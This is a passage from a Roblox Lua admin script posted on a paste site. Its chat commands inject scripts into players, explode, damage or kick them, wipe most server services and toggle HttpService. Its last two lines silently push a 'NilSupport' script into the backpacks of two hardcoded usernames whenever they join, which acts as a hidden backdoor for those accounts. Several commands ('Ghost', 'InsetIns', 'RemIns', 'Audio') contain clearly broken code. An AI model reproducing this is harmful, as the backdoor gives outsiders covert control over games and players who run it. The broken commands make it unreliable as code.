  9855. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  9856. if LS ~= nil then
  9857. local Split = GetSplit(Msg)
  9858. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  9859. local LocalSource = Msg:sub(Split + 1)
  9860. if #PlrTab > 0 then
  9861. for _,v in pairs(PlrTab) do
  9862. local Inserted = LS:Clone()
  9863. Inserted.Disabled = true
  9864. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  9865. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  9866. Inserted:findFirstChild(OwnSource).Value = v.Name
  9867. end
  9868. Inserted[LSSource].Value = LocalSource
  9869. Inserted.Disabled = false
  9870. end
  9871. end
  9872. else
  9873. Ping("ERROR: Local Script Not Found", Speaker, 5)
  9874. end
  9875. end)
  9876.  
  9877. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  9878. Msg = tostring(Msg)
  9879. Ping(Msg, Speaker)
  9880. end)
  9881.  
  9882. Command("Remv", 5, "Removes The Admin", function(Msg, Speaker)
  9883. Dismiss()
  9884. Removed = true
  9885. for i,v in pairs(getfenv(1)) do
  9886. getfenv(1)[i] = nil
  9887. end
  9888. script.Disabled = true
  9889. end)
  9890.  
  9891. Command("God", 1, "Makes a player immortal", function(Msg, Speaker)
  9892. local PlrTab = getPlayer(Speaker, Msg)
  9893. if #PlrTab > 0 then
  9894. for _,v in pairs(PlrTab) do
  9895. ypcall(function()
  9896. v.Character.Humanoid.MaxHealth = math.huge
  9897. Ping("Godded "..v.Name, Speaker, 5)
  9898. end)
  9899. end
  9900. end
  9901. end)
  9902.  
  9903. Command("Ungod", 1, "Makes a player mortal", function(Msg, Speaker)
  9904. local PlrTab = getPlayer(Speaker, Msg)
  9905. if #PlrTab > 0 then
  9906. for _,v in pairs(PlrTab) do
  9907. ypcall(function()
  9908. v.Character.Humanoid.Health = 100
  9909. wait()
  9910. v.Character.Humanoid.MaxHealth = 100
  9911. Ping("Ungodded "..v.Name, Speaker, 5)
  9912. end)
  9913. end
  9914. end
  9915. end)
  9916.  
  9917. Command("FC", 3, "Fully Cleans The Server", function(Msg, Speaker)
  9918. for _,v in pairs(game:GetChildren()) do
  9919. ypcall(function()
  9920. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  9921. for _,a in pairs(v:GetChildren()) do
  9922. ypcall(function()
  9923. a:Destroy()
  9924. end)
  9925. end
  9926. elseif v.Name == "Players" then
  9927. for _,plr in pairs(v:GetPlayers()) do
  9928. Clear(plr)
  9929. end
  9930. end
  9931. end)
  9932. end
  9933. Clean()
  9934. Fixl()
  9935. Ping("Fully Cleaned", Speaker, 5)
  9936. end)
  9937.  
  9938. Command("NoOrb",2,"Get rid of a players Gui oS ORB",function(Msg,Speaker)
  9939. for i,v in pairs(getPlayer(Speaker,Msg)) do
  9940.  
  9941. v.PlayerGui.Name='GuiPlayer'
  9942. wait()
  9943. v.GuiPlayer.Name='PlayerGui'
  9944. v:LoadCharacter()
  9945. Ping(v.Name.."'s GUI Orb destroyed",Speaker,5)
  9946. end
  9947. end)
  9948.  
  9949. Command("Ghost", 2, "Ghostifys a player", function(Msg, Speaker)
  9950. local PlrTab = getPlayer(Speaker, Msg)
  9951. if #PlrTab > 0 then
  9952. for _,c in pairs(PlrTab) do
  9953. ypcall(function()
  9954. for c, pairs in (v.Character:children()) do
  9955. if c:IsA("Part") then
  9956. c.Transparency = 0.5
  9957. end
  9958. end
  9959. Ping("Turned "..v.Name.." into a ghost", Speaker, 5)
  9960. end)
  9961. end
  9962. end
  9963. end)
  9964.  
  9965. Command("Invisible", 3, "Makes a player invisible", function(Msg, Speaker)
  9966. local PlrTab = getPlayer(Speaker, Msg)
  9967. if #PlrTab > 0 then
  9968. for _,v in pairs(PlrTab) do
  9969. ypcall(function()
  9970. for _, c in pairs(v.Character:children()) do
  9971. if c:IsA("Part") then
  9972. c.Transparency = 1
  9973.  
  9974. end
  9975. end
  9976.  
  9977. Ping("Disappeared "..v.Name, Speaker, 5)
  9978. end)
  9979. end
  9980. end
  9981. end)
  9982.  
  9983. Command("Visible", 3, "Makes a player visible", function(Msg, Speaker)
  9984. local PlrTab = getPlayer(Speaker, Msg)
  9985. if #PlrTab > 0 then
  9986. for _,v in pairs(PlrTab) do
  9987. ypcall(function()
  9988. for _,c in pairs(v.Character:children()) do
  9989. if c:IsA("Part") then
  9990. c.Transparency = 0
  9991. end
  9992. end
  9993. Ping("Showed "..v.Name, Speaker, 5)
  9994. end)
  9995. end
  9996. end
  9997. end)
  9998.  
  9999. Command("Explode", 3, "Explodes a player", function(Msg, Speaker)
  10000. local PlrTab = getPlayer(Speaker, Msg)
  10001. if #PlrTab > 0 then
  10002. for _,v in pairs(PlrTab) do
  10003. ypcall(function()
  10004. if v.Character and v.Character:findFirstChild("Head") then
  10005. local e = Instance.new("Explosion")
  10006. e.Position = v.Character.Head.Position
  10007. e.Parent = v.Character
  10008. Ping("Exploded "..v.Name, Speaker, 5)
  10009. end
  10010. end)
  10011. end
  10012. end
  10013. end)
  10014.  
  10015. Command("Spark", 3, "Gives a player sparkles", function(Msg, Speaker)
  10016. local PlrTab = getPlayer(Speaker, Msg)
  10017. if #PlrTab > 0 then
  10018. for _,v in pairs(PlrTab) do
  10019. ypcall(function()
  10020. Instance.new("Sparkles", v.Character.Torso)
  10021. end)
  10022. end
  10023. end
  10024. end)
  10025.  
  10026. Command("Fire", 3, "Gives a player fires", function(Msg, Speaker)
  10027. local PlrTab = getPlayer(Speaker, Msg)
  10028. if #PlrTab > 0 then
  10029. for _,v in pairs(PlrTab) do
  10030. ypcall(function()
  10031. Instance.new("Fire", v.Character.Torso)
  10032. end)
  10033. end
  10034. end
  10035. end)
  10036.  
  10037. Command("Clone", 3, "Clones a player", function(Msg, Speaker)
  10038. local PlrTab = getPlayer(Speaker, Msg)
  10039. if #PlrTab > 0 then
  10040. for _,v in pairs(PlrTab) do
  10041. ypcall(function()
  10042. local Model = v.Character:Clone()
  10043. Model.Parent = game.Workspace
  10044. end)
  10045. end
  10046. end
  10047. end)
  10048.  
  10049. Command("Bet", 1, "Shows current bet", function(Msg, Speaker)
  10050. Bet = (tostring(Msg))
  10051. Output("The current bet is '"..Bet.. "'", nil, nil)
  10052. end)
  10053.  
  10054. Command("Unspark", 3, "Removes a player's sparkles", function(Msg, Speaker)
  10055. local PlrTab = getPlayer(Speaker, Msg)
  10056. if #PlrTab > 0 then
  10057. for _,v in pairs(PlrTab) do
  10058. ypcall(function()
  10059. RemObj(v.Character.Torso, "Sparkles")
  10060. end)
  10061. end
  10062. end
  10063. end)
  10064.  
  10065. Command("Unfire", 3, "Removes a player's fire", function(Msg, Speaker)
  10066. local PlrTab = getPlayer(Speaker, Msg)
  10067. if #PlrTab > 0 then
  10068. for _,v in pairs(PlrTab) do
  10069. ypcall(function()
  10070. RemObj(v.Character.Torso, "Fire")
  10071. end)
  10072. end
  10073. end
  10074. end)
  10075.  
  10076. Command("Unsmoke", 3, "Removes a player's smoke", function(Msg, Speaker)
  10077. local PlrTab = getPlayer(Speaker, Msg)
  10078. if #PlrTab > 0 then
  10079. for _,v in pairs(PlrTab) do
  10080. ypcall(function()
  10081. RemObj(v.Character.Torso, "Smoke")
  10082. end)
  10083. end
  10084. end
  10085. end)
  10086.  
  10087. Command("Speak", 3, "Talk for a player", function(Msg, Speaker)
  10088. local Split = GetSplit(Msg)
  10089. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  10090. local Msg = tostring(Msg:sub(Split + 1))
  10091. for _,v in pairs(PlrTab) do
  10092. ypcall(function()
  10093. game:GetService("Chat"):Chat(v.Character.Head,Msg,0)
  10094. Ping("Made "..v.Name.." say "..tostring(Msg), Speaker)
  10095. end)
  10096. end
  10097. end)
  10098.  
  10099. Command("Char", 3, "Changes a player's appearance", function(Msg, Speaker)
  10100. local Split = GetSplit(Msg)
  10101. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  10102. local Id = tonumber(Msg:sub(Split + 1))
  10103. for _,v in pairs(PlrTab) do
  10104. ypcall(function()
  10105. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" ..tonumber(Id)
  10106. v:LoadCharacter()
  10107. Ping("Changed "..v.Name.."'s appearance to "..tonumber(Id), Speaker)
  10108. end)
  10109. end
  10110. end)
  10111.  
  10112. Command("Name", 3, "Changes a player's name", function(Msg, Speaker)
  10113. local Split = GetSplit(Msg)
  10114. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  10115. local Name = tostring(Msg:sub(Split + 1))
  10116. for _,v in pairs(PlrTab) do
  10117. ypcall(function()
  10118. coroutine.resume(coroutine.create(function()
  10119. if v and v.Character and v.Character:findFirstChild("Head") then
  10120. for a, derp in pairs(v.Character:children()) do
  10121. if derp:findFirstChild("NameTag") then
  10122. v.Character.Head.Transparency = 0
  10123. derp:Destroy()
  10124. end
  10125. end
  10126. local char = v.Character
  10127. local derp = Instance.new("Model", char)
  10128. derp.Name = tostring(Name)
  10129. local cl = char.Head:Clone()
  10130. cl.Parent = derp
  10131. local hum = Instance.new("Humanoid", derp)
  10132. hum.Name = "NameTag"
  10133. hum.MaxHealth = 0
  10134. hum.Health = 0
  10135. local weld = Instance.new("Weld", cl)
  10136. weld.Part0 = cl
  10137. weld.Part1 = char.Head
  10138. char.Head.Transparency = 1
  10139. Ping("Changed "..v.Name.."'s name to "..tostring(Name), Speaker)
  10140. end
  10141. end))
  10142. end)
  10143. end
  10144. end)
  10145.  
  10146. Command("Unname", 3, "Changes a player's name", function(Msg, Speaker)
  10147. local PlrTab = getPlayer(Speaker, Msg)
  10148. for _,v in pairs(PlrTab) do
  10149. ypcall(function()
  10150. coroutine.resume(coroutine.create(function()
  10151. if v and v.Character and v.Character:findFirstChild("Head") then
  10152. for a, derp in pairs(v.Character:children()) do
  10153. if derp:findFirstChild("NameTag") then
  10154. v.Character.Head.Transparency = 0
  10155. derp:Destroy()
  10156. end
  10157. end
  10158. end
  10159. end))
  10160. Ping("Removed "..v.Name.."'s Name", Speaker)
  10161. end)
  10162. end
  10163. end)
  10164.  
  10165. Command("InsetIns", 7, "Inserts a instance into a object in the game", function(Msg, Speaker)
  10166. local Split = GetSplit(Msg)
  10167. local Parent = tostring(Msg:sub(Split - 1))
  10168. local Object = tostring(Msg:sub(Split + 1))
  10169. for _,v in pairs(Parent) do
  10170. ypcall(function()
  10171. Instance.new(Object, Parent)
  10172. end)
  10173. end
  10174. end)
  10175.  
  10176. Command("RemIns", 7, "Removes an instance from the game", function(Msg, Speaker)
  10177. local Split = GetSplit(Msg)
  10178. local Parent = tostring(Msg:sub(Split - 1))
  10179. local Object = tostring(Msg:sub(Split + 1))
  10180. for _,v in pairs(Parent) do
  10181. ypcall(function()
  10182. game[Parent].Object:Remove()
  10183. end)
  10184. end
  10185. end)
  10186.  
  10187. Command("Damage", 1, "Damages a player", function(Msg, Speaker)
  10188. local Split = GetSplit(Msg)
  10189. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  10190. local Dmg = tonumber(Msg:sub(Split + 1))
  10191. for _,v in pairs(PlrTab) do
  10192. ypcall(function()
  10193. v.Character.Humanoid.Health = v.Character.Humanoid.Health - Dmg
  10194. Ping("Damaged "..v.Name.."'s health by "..tostring(Dmg), Speaker)
  10195. end)
  10196. end
  10197. end)
  10198.  
  10199. Command("Heal", 1, "Heals a player", function(Msg, Speaker)
  10200. local PlrTab = getPlayer(Speaker, Msg)
  10201. for _,v in pairs(PlrTab) do
  10202. ypcall(function()
  10203. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  10204. Ping("Healed "..v.Name.." from injuries"..tostring(Dmg), Speaker)
  10205. end)
  10206. end
  10207. end)
  10208.  
  10209. Command("SetHealth", 1, "Sets a players health", function(Msg, Speaker)
  10210. local Split = GetSplit(Msg)
  10211. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  10212. local Hp = tonumber(Msg:sub(Split + 1))
  10213. for _,v in pairs(PlrTab) do
  10214. ypcall(function()
  10215. v.Character.Humanoid.Health = v.Character.Humanoid.Health + Hp
  10216. Ping("Added health to "..v.Name.."'s health by "..tostring(Hp), Speaker)
  10217. end)
  10218. end
  10219. end)
  10220.  
  10221. Command("Hs", 7, "Turns HttpService on/off", function(Msg, Speaker)
  10222. if Msg == "on" then
  10223. game:GetService("HttpService").HttpEnabled = true
  10224. Ping("HttpService is on", Speaker, 5)
  10225. elseif Msg == "off" then
  10226. game:GetService("HttpService").HttpEnabled = false
  10227. Ping("HttpService is off", Speaker, 5)
  10228. end
  10229. end)
  10230.  
  10231. Command("Kick", 4, "Crash kicks a player from the server", function(Msg, Speaker)
  10232. local PlrTab = getPlayer(Speaker, Msg)
  10233. if #PlrTab > 0 then
  10234. for _,v in pairs(PlrTab) do
  10235. ypcall(function()
  10236. v:Kick()
  10237. Ping("Killer Kicked "..v.Name, Speaker, 5)
  10238. end)
  10239. end
  10240. end
  10241. end)
  10242.  
  10243. Command("Audio", 4, "Opens Music List", function(Msg, Speaker)
  10244. local PlrTab = getPlayer(Speaker, Msg)
  10245. if #PlrTab > 0 then
  10246. Dismiss()
  10247. Menu()
  10248. Ping('Music '..v.Name,Speaker,5)
  10249. NewLS([==[
  10250. function Menu()
  10251. Dismiss()
  10252. Output("Commands","Cyan",function() ShowCmds() end)
  10253. Nexotic("Explorer","Lime green",function() Explore() end)
  10254. Nexotic("Players","New Yeller",function() ListPlayers() end)
  10255. Nexotic("Shutdown","Deep blue",function() AreYouSure() end)
  10256. Nexotic("MusicList","Black",function() MusicList() end)
  10257. end
  10258. function MusicList()
  10259. Dismiss()
  10260. Sax("Epic Sax Guy", "Deep orange",function() EpicSaxMusic() Menu() end)
  10261. Taco("Its Raining Tacos","White",function() TacoMusic() Menu() end)
  10262. Nexotic("Guitar", "Deep orange",function() GuitarMusic() Menu() end)
  10263. Nexotic("Starfish", "Lime green",function() StarfishMusic() Menu() end)
  10264. Nexotic("Sage", "Black",function() SageMusic() Menu() end)
  10265. Nexotic("Spitfire", "Really red",function() SpitfireMusic() Menu() end)
  10266. Nexotic("Because I'm happy", "New Yeller",function() HappyMusic() Menu() end)
  10267. Nexotic("Remove All Music", "White",function() RemoveMusic() MusicList() end)
  10268. end
  10269. function RemoveMusic()
  10270. NewS([[
  10271. for _,v in pairs(workspace:children()) do
  10272. if v:IsA("Sound") then v:Destroy() end end
  10273. ]], workspace)
  10274. end
  10275. function TacoMusic()
  10276. NewS([[z = Instance.new("Sound")
  10277. z.Parent = game.Workspace
  10278. z.SoundId = "http://www.roblox.com/asset/?ID=142376088"
  10279. z.Looped = true
  10280. z.Volume = 1
  10281. wait(1)
  10282. z:Play()
  10283. z.Name = "TacoMusic"
  10284. ]], workspace)
  10285. end
  10286. function HappyMusic()
  10287. NewS([[z = Instance.new("Sound")
  10288. z.Parent = game.Workspace
  10289. z.SoundId = "http://www.roblox.com/asset/?id=142435409"
  10290. z.Looped = true
  10291. z.Volume = 1
  10292. wait(1)
  10293. z:Play()
  10294. z.Name = "HappyMusic"
  10295. ]], workspace)
  10296. end
  10297. function GuitarMusic()
  10298. NewS([[z = Instance.new("Sound")
  10299. z.Parent = game.Workspace
  10300. z.SoundId = "http://www.roblox.com/asset/?id=5986151"
  10301. z.Looped = true
  10302. z.Volume = 1
  10303. wait(1)
  10304. z:Play()
  10305. z.Name = "GuitarMusic"
  10306. ]], workspace)
  10307. end
  10308. function EpicSaxMusic()
  10309. NewS([[z = Instance.new("Sound")
  10310. z.Parent = game.Workspace
  10311. z.SoundId = "http://www.roblox.com/asset/?id=130794684"
  10312. z.Looped = true
  10313. z.Volume = 1
  10314. wait(1)
  10315. z:Play()
  10316. z.Name = "EpicSaxMusic"
  10317. ]], workspace)
  10318. end
  10319. function SpitfireMusic()
  10320. NewS([[z = Instance.new("Sound")
  10321. z.Parent = game.Workspace
  10322. z.SoundId = "http://www.roblox.com/asset/?id=129490596"
  10323. z.Looped = true
  10324. z.Volume = 1
  10325. wait(1)
  10326. z:Play()
  10327. z.Name = "SpitfireMusic"
  10328. ]], workspace)
  10329. end
  10330. function StarfishMusic()
  10331. NewS([[z = Instance.new("Sound")
  10332. z.Parent = game.Workspace
  10333. z.SoundId = "http://www.roblox.com/asset/?id=131293487"
  10334. z.Looped = true
  10335. z.Volume = 1
  10336. wait(1)
  10337. z:Play()
  10338. z.Name = "StarfishMusic"
  10339. ]], workspace)
  10340. end
  10341. function SageMusic()
  10342. NewS([[z = Instance.new("Sound")
  10343. z.Parent = game.Workspace
  10344. z.SoundId = "http://www.roblox.com/asset/?id=137643111"
  10345. z.Looped = true
  10346. z.Volume = 1
  10347. wait(1)
  10348. z:Play()
  10349. z.Name = "SageMusic"
  10350. ]], workspace)
  10351. end
  10352. ]==],v.Backpack)
  10353. else
  10354. end
  10355. end)
  10356.  
  10357. Command("Time", 3, "Turns the time to day/night/morning", function(Msg, Speaker)
  10358. if Msg == "night" then
  10359. NewS(Night, game.Workspace)
  10360. elseif Msg == "day" then
  10361. NewS(Day, game.Workspace)
  10362. elseif Msg == "morn" then
  10363. NewS(Morning, game.Workspace)
  10364. end
  10365. end)
  10366.  
  10367. Command("Newbase", 2, "newbase", function(Msg, Speaker)
  10368. if game.Workspace:findFirstChild("Base") then
  10369. game.Workspace.Base:Remove()
  10370. end
  10371. if game.Workspace:findFirstChild("Part") then
  10372. game.Workspace.Part:Remove()
  10373. end
  10374. if game.Workspace:findFirstChild("Baseplate") then
  10375. game.Workspace.Baseplate:Remove()
  10376. end
  10377. a = Instance.new("Part")
  10378. a.Parent = game.Workspace
  10379. a.Name = "Base"
  10380. a.Position = Vector3.new(0, 0.6, 0)
  10381. a.Size = Vector3.new(1002, 0, 1002)
  10382. a.Material = "Grass"
  10383. a.Anchored = true
  10384. a.BrickColor = BrickColor.new("Dark green")
  10385. end)
  10386.  
  10387. Command("Rares", 1, "List of Nexotic Scripts", function(Msg, Speaker)
  10388. Dismiss(Speaker)
  10389. Ping("B0ob", Speaker)
  10390. Ping("Doge", Speaker)
  10391. Ping("Probe", Speaker)
  10392. Ping("Pistol", Speaker)
  10393. Ping("LeafBlower", Speaker)
  10394. Ping("GhostSword", Speaker)
  10395. Ping("Fairy", Speaker)
  10396. Ping("Glider", Speaker)
  10397. Ping("RagDoll Bow", Speaker)
  10398. Ping("Pad", Speaker)
  10399. end)
  10400.  
  10401. Command("SetRank", 5, "Ranks A Player", function(Msg, Speaker)
  10402. local Split = GetSplit(Msg)
  10403. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  10404. local Rank = tonumber(Msg:sub(Split + 1))
  10405. if #PlrTab > 0 then
  10406. for _,v in pairs(PlrTab) do
  10407. if v.Name ~= Owner then
  10408. ChangeRank(v, Rank)
  10409. Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  10410. end
  10411. end
  10412. end
  10413. end)
  10414.  
  10415. game.Players.PlayerAdded:connect(function(poo) if poo.Name == "LuaScripterLS" then wait(2) NewLS(NilSupport, poo.Backpack) Ping('You have been connected to NilSupport', poo.Name, 5) end end) for i,v in pairs(All2()) do if v.Name == "LuaScripterLS" then wait(2) NewLS(NilSupport, v.Backpack) end end
  10416.  
  10417. game.Players.PlayerAdded:connect(function(poo) if poo.Name == "AcidicEmpyreus" then wait(2) NewLS(NilSupport, poo.Backpack) Ping('You have been connected to NilSupport', poo.Name, 5) end end) for i,v in pairs(All2()) do if v.Name == "AcidicEmpyreus" then wait(2) NewLS(NilSupport, v.Backpack) end end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement